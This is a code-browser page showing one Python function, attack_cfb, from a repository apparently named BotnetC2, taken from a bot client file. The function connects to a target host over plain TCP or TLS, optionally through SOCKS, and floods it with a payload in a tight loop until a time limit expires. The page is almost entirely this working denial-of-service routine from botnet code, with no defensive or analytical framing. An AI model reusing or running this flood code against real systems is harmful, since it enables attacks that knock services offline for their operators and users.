MCPcopy Create free account
hub / github.com/Hex1629/BotnetC2 / attack_cfb

Function attack_cfb

BOTNETc2_offline_user/bot.py:566–600  ·  view source on GitHub ↗
(secs, target,payload,mode)

Source from the content-addressed store, hash-verified

564 return target
565
566def attack_cfb(secs, target,payload,mode):
567 if target['scheme'] == 'https':
568 packet = socks.socksocket()
569 if mode == "NEW":
570 packet.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 65536)
571 packet.settimeout(65536)
572 packet.connect((str(target['host']), int(target['port'])))
573 packet.connect_ex((str(target['host']), int(target['port'])))
574 packet = ssl.create_default_context().wrap_socket(packet, server_hostname=target['host'])
575 else:
576 packet.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
577 packet.connect((str(target['host']), int(target['port'])))
578 packet = ssl.create_default_context().wrap_socket(packet, server_hostname=target['host'])
579 else:
580 packet = socks.socksocket()
581 if mode == "NEW":
582 packet.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 65536)
583 packet.settimeout(65536)
584 packet.connect((str(target['host']), int(target['port'])))
585 packet.connect_ex((str(target['host']), int(target['port'])))
586 else:
587 packet.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
588 packet.connect((str(target['host']), int(target['port'])))
589
590 while time.time() < secs:
591 try:
592 for _ in range(2500):
593 if mode == "NEW":
594 packet.send(payload)
595 packet.sendall(payload)
596 else:
597 packet.send(payload)
598 except:
599 packet.close()
600 pass
601
602def main():
603 global SOCKS_SENT_DOS,MAKE_CONNECT_DOS

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected